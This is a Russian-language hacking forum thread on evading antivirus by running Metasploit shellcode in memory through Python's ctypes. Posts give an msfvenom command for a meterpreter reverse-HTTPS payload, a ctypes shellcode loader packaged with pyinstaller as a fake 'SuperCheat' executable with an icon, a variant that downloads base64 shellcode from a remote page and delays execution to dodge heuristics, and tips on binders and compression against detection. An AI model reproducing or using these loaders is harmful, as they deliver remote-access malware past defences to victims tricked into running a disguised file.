Обход антивируса с помощью ctypes(python)

~~^Shad0w __ Just1ce^~~

~^_Wired FaLc❍n_^~
ELEET
19.10.2016
699
2 349
DarkSide
www.youtube.com
#1
Привет колеги.
Сегодня покажу очень простенький пример обхода антивируса с помощью библиотеки ctypes в языке программирования python.
Суть обхода в том эта библиотека дает нам возможность выполнять код C|C++ в питоновском скрипте.
И мы смело сможем запустить шеллкод метасплоита в оперативной памяти.

Вы уж простите много писать пока не буду,времени очень мало у меня,отпишу потом пояснения в коментариях если возникнут вопросы у кого то .))

Вообщем ближе к делу

И так проделываем следующие шаги:
1)Создаем шеллкод командой:
Код:
msfvenom -p windows/meterpreter/reverse_https lport=1337 lhost=192.168.137.137 -b \0x0a\0x0b\0xff -f c

тут ничего пояснять думаю не нужно ,лишь обратить внимания стоит на параметр -b которым мы указываем которые плохие символы в шеллкоде нужно не использовать.

Дальше создаем скрипт на питоне следуещого вида:

Код:
from ctypes import *

shellcode = ("Тут_копипастим_наш шеллкод_созданный_через_msf_venom");

tralivali = create_string_buffer(shellcode, len(shellcode))
shell = cast(tralivali, CFUNCTYPE(c_void_p))

shell()




Собираем через pyinstaller на Windows системе..
Код:
C:\Python27\Scripts\pyinstaller.exe -F --noconsole --onefile --icon=C:\Users\CorpOfHack\Desktop\contacts.ico C:\Users\CorpOfHack\Desktop\SuperCheat.py



Хочу заметить что когда я не использовал картинку мне показало на
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться
0/35
а когда добавил иконку то 8/35. Почему пока не выяснял.


Чтобы видеть этот контент необходимо: Войти или зарегистрироваться


А вот
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться


Ну в любом случае результат не плохой) Все спасибо за внимания.Надеюсь был полезен)

Вот видосик)

 
17.12.2016
14
7
40
#4
Congratulation again bro and for your time for text it this is good so for early and thanks for your code and you say right without icon bypass some detection .. One similar thing happen if you use easybinder for binder exe and change compression to "zlib,bzip2,lzma" have result of detection always different the more good is always lzma bzip2 but depend if you already know the av of victim need try any compression maybe ;) Good lucky bro have a nice day ;)
 

Celestial

Well-Known Member
Grey Team
20.12.2016
53
38
vulners.com
#5
Универсальный метод :

#!/usr/bin/python

from ctypes import *
from base64 import b64decode # Тут указываем свой метод шифрования
from urllib import urlopen
from time import sleep

URL = "
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться
" # Здесь указываем страницу со своим шелл-кодом

downloader = urlopen(URL) # Скачать содержимое
shellcode = b64decode(downloader.read()) # Декодирование шелл-кода
sleep(31) # Избегаем эвристики за счет времени
shellcode_buffer = create_string_buffer(shellcode, len(shellcode))
shell = cast(shellcode_buffer, CFUNCTYPE(c_void_p))
shell()
 
Последнее редактирование:

Celestial

Well-Known Member
Grey Team
20.12.2016
53
38
vulners.com
#6
Да, и для лучшего понимания питоном шелл-кода на С, лучше убрать изначально все двойные ковычки и новые линии таким образом:

./msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 C | tr -d '"' | tr -d '\n' | more
 

~~^Shad0w __ Just1ce^~~

~^_Wired FaLc❍n_^~
ELEET
19.10.2016
699
2 349
DarkSide
www.youtube.com
#7
Универсальный метод :

#!/usr/bin/python

from ctypes import *
from base64 import b64decode # Тут указываем свой метод шифрования
from urllib import urlopen
from time import sleep

URL = "
Чтобы видеть этот контент необходимо: Войти или зарегистрироваться
" # Здесь указываем страницу со своим шелл-кодом

downloader = urlopen(URL) # Скачать содержимое
shellcode = b64decode(downloader.read()) # Декодирование шелл-кода
sleep(31) # Избегаем эвристики за счет времени
shellcode_buffer = create_string_buffer(shellcode, len(shellcode))
shell = cast(shellcode_buffer, CFUNCTYPE(c_void_p))
shell()
Да использовать принцип веб деливери практичнее всегда.
Я лишь показал возможности ctypes библиотеки.
А так ,да. Обычно шеллкод размещают или на гитхабе или пастебине.